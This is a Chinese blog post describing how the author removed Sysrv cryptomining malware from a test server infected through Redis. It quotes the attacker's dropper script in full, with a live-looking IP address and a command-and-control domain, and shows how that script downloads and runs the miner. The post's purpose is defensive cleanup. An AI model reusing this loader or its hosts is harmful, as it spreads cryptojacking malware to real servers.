被挖矿的烦恼
真想早日看到比特币跳水
最近的挖矿热潮搞得显卡都买不着,买不着也就算了,将就以前的用得了,这两天测试用的服务器又莫名奇妙被植入了挖矿病毒,害得我又要花时间去处理这个东西。
感染原因
感染挖矿的原因基本上分为两种:
- Redis
- Docker
两种我都遇到过,Docker 被感染那次比较严重,由于带挖矿的容器挂载目录到宿主机,导致宿主机上很多原有文件夹和命令都被修改了,类似 top
命令,根本找不到 CPU 占用较高的程序,而我自己对 Linux 系统不够熟悉,最后只能重装解决。
Redis 遇到的几次相对来说还是比较好解决,都是固定套路了
挖矿程序查找
先不急着找问题进程,先查找定时任务
crontab -e
发现原本的任务都被清空了,只剩一个往指定地址下载并执行 Shell 脚本的任务
//脚本地址
http://45.145.185.85/ldr.sh
复制地址到浏览器发现内容如下
cc=http://finalshell.nl
sys=sysrv003
# kill old files
pkill -9 "^network01$"; pkill -9 sysrv001; pkill -9 "^sysrv$"
get() {
chattr -i $2; rm -rf $2
curl -fsSL $1 > $2 || wget -q -O - $1 > $2 || php -r "file_put_contents('$2', file_get_contents('$1'));" || cd1 -fsSL $1 > $2 || wd1 -q -O - $1 > $2
chmod +x $2
}
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
ps -fe | grep $sys | grep -v grep; if [ $? -ne 0 ]; then
get $cc/sysrv $sys; nohup ./$sys 1>/dev/null 2>&1 &
fi
得知 /tmp
目录下放有问题文件,此外通过脚本中 pkill
命令又抓到挖矿程序守护进程的尾巴
着手清除
第一步需要清理定时任务了,定时任务需要清理两个地方
crontab -e
cd /etc/cron.d
//然后清理问题文件
第二步需要清理 `authorized_keys
rm -rf /root/.ssh/authorized_keys
第三步需要清理 /tmp
目录文件,这时大概率提示
rm: cannot remove '***': Operation not permitted
需要使用 chattr
命令
chattr -i (问题文件名)
有一次遇到挖矿程序把
chattr
给删除了,yum 命令也安装不了,最后是复制其他正常的服务器的chattr
文件解决的
第四步借用挖矿脚本的命令,杀掉可疑守护进程
pkill -9 "^network01$"; pkill -9 sysrv001; pkill -9 "^sysrv$"
第五步找到问题进程,然后杀掉该进程
基本上到这里就解决了
其他
看其他解决挖矿程序的文章是下载了一些辅助工具,我个人对这块不熟,只会用一些基本的命令,这里推荐下 ps -ef
命令,可以着重看定时任务是否被清除干净